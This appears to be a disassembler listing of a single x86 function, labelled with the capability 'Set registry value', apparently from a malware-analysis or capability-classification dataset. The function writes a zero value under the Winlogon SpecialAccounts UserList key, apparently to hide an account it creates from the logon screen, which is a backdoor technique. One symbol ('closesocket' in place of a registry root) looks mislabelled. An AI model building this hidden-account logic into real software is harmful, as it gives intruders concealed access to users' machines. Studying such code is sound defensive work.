Function at 0x4120e9
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
pop ecx
lea eax, [ebp - 0x28]
mov edi, 0x553050
lea esi, [ebp - 0x28]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0x553050
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov dword [0x5530b4], esi
mov dword [0x5530a8], 0x552018
mov dword [0x5530a4], ebx
call fcn.0041199f
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test eax, eax
je 0x4121e0
push str.rudp
lea ecx, [ebp + 0xc]
call fcn.0040460a
push eax
lea eax, [ebp + 8]
mov ecx, ebx
push eax
call fcn.00415532
push eax
mov ecx, 0x5530ac
call fcn.004043c7
mov ecx, dword [ebp + 8]
call fcn.00406f1d
mov ecx, dword [ebp + 0xc]
and dword [ebp + 8], 0
call fcn.00406f1d
push str.rpdp
lea ecx, [ebp + 0xc]
call fcn.0040460a
push eax
lea eax, [ebp + 8]
mov ecx, ebx
push eax
call fcn.00415532
push eax
mov ecx, 0x5530b0
call fcn.004043c7
mov ecx, dword [ebp + 8]
call fcn.00406f1d
mov ecx, dword [ebp + 0xc]
and dword [ebp + 8], 0
call fcn.00406f1d
mov ecx, 0x5530ac
call fcn.004045f0
test eax, eax
jne 0x412216
mov ecx, 0x5530b0
call fcn.004045f0
test eax, eax
jne 0x412216
push 0x553050
call edi
call fcn.004131f8
cmp eax, 6
jb 0x412349
call fcn.004131a4
test eax, eax
jne 0x412349
call fcn.00413893
cmp eax, 1
je 0x412242
push 0x5530b0
push 0x5530ac
push 1
jmp 0x412355
push 0x5530b0
push 0x5530ac
push 8
lea ecx, [ebp - 0x20]
call fcn.00405b49
push eax
mov ecx, esi
call fcn.00405f32
lea ecx, [ebp - 0x20]
call fcn.00405b26
xor eax, eax
inc eax
jmp 0x412376
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.004044c4
push eax
mov ecx, 0x5530ac
call fcn.004043c7
mov ecx, dword [ebp + 8]
call fcn.00406f1d
push 8
pop edx
lea ecx, [ebp + 8]
call fcn.004044c4
push eax
mov ecx, 0x5530b0
call fcn.004043c7
mov ecx, dword [ebp + 8]
call fcn.00406f1d
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
xor eax, eax
push eax
push 0xf013f
push eax
push eax
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push 4
push eax
push 4
push 0
push dword [0x5530ac]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x5530b0
push 0x5530ac
call fcn.00410d7a
test eax, eax
jne 0x4122e8
push 0x5530b0
push 0x5530ac
push 9
jmp 0x412355
push 0x5530ac
push str.rudp
lea ecx, [ebp + 8]
call fcn.0040460a
push eax
mov ecx, ebx
call fcn.004154ed
mov ecx, dword [ebp + 8]
call fcn.00406f1d
push 0x5530b0
push str.rpdp
lea ecx, [ebp + 8]
call fcn.0040460a
push eax
mov ecx, ebx
call fcn.004154ed
mov ecx, dword [ebp + 8]
call fcn.00406f1d
mov ebx, 0x553050
mov ecx, 0x553068
push ebx
push 0x411eb2
call fcn.00402746
push ebx
call edi
jmp 0x41223a
push 0x5530b0
push 0x5530ac
push 2
lea ecx, [ebp - 0x20]
call fcn.00405b49
push eax
mov ecx, esi
call fcn.00405f32
lea ecx, [ebp - 0x20]
call fcn.00405b26
push 0x553050
call edi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc